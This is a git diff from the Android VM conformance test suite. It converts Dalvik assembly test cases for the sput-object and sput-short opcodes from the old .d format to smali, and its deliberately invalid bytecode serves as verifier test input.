diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.smali
new file mode 100644
index 0000000..c1ea9c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_3;
+.super Ljava/lang/Object;
+.source "T_sput_object_3.java"
+
+
+# static fields
+.field public static st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_3;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.d
deleted file mode 100644
index 3a3bccd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_4.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_4
-.super java/lang/Object
-
-.field public static st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_4.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.smali
new file mode 100644
index 0000000..bcd16c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_4;
+.super Ljava/lang/Object;
+.source "T_sput_object_4.java"
+
+
+# static fields
+.field public static st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p1, Ldot/junit/opcodes/sput_object/d/T_sput_object_4;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.d
deleted file mode 100644
index b43597a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_6.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_6
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_6.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.smali
new file mode 100644
index 0000000..d559c5b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_6.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_6;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_6;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.d
deleted file mode 100644
index 84988f9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_7.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_7
-.super java/lang/Object
-
-.field public st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_7.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.smali
new file mode 100644
index 0000000..e7a6dd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_7;
+.super Ljava/lang/Object;
+.source "T_sput_object_7.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_7;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.d
deleted file mode 100644
index 26495a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_8.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.TestStubs.TestStubField Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.smali
new file mode 100644
index 0000000..62a26f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_8.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.d
deleted file mode 100644
index 2d35cf1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_9.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_9
-.super java/lang/Object
-
-.field public st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_9noclass.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.smali
new file mode 100644
index 0000000..f3295c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_9;
+.super Ljava/lang/Object;
+.source "T_sput_object_9.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_9noclass;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.d
deleted file mode 100644
index f41be35..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_1.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_1
-.super java/lang/Object
-
-.field public static st_i1 S
-.field protected static st_p1 S
-.field private static st_pvt1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()S
-.limit regs 2
-
-       sget-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_1.st_pvt1 S
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_1.st_i1 S
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.smali
new file mode 100644
index 0000000..4af47cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_1.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+.field protected static st_p1:S
+.field private static st_pvt1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()S
+.registers 2
+
+       sget-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_pvt1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_i1:S
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.d
deleted file mode 100644
index 10a12b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_10.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_10
-.super java/lang/Object
-
-.field public st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_10.st_i1N S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.smali
new file mode 100644
index 0000000..4349f10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_10.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_10;->st_i1N:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.d
deleted file mode 100644
index 4351376..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_11.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.TestStubs.TestStubFieldFinal S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.smali
new file mode 100644
index 0000000..82c2e40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_11.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/TestStubs;->TestStubFieldFinal:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.d
deleted file mode 100644
index a9dbbb0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_12.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_12
-.super java/lang/Object
-
-.field public static final st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_12.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.smali
new file mode 100644
index 0000000..009b944
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_12.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_12;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.d
deleted file mode 100644
index 55d0bf5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sput_short.d.StubInitError
-.super java/lang/Object
-
-.field public static value S
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 5
-       div-int/2addr v1, v0
-
-       sput-short v1, dot.junit.opcodes.sput_short.d.StubInitError.value S
-       return-void
-.end method
-
-
-.source T_sput_short_13.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.d.StubInitError.value S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.java
index 3750c17..afc2f26 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_short.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static short value = (short)(5 / 0); 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..020837c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_short/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:S
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput-short v1, Ldot/junit/opcodes/sput_short/d/StubInitError;->value:S
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/T_sput_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/T_sput_short_13.smali
new file mode 100644
index 0000000..30a40c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/T_sput_short_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_short/d/T_sput_short_13;
+.super Ljava/lang/Object;
+.source "T_sput_short_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
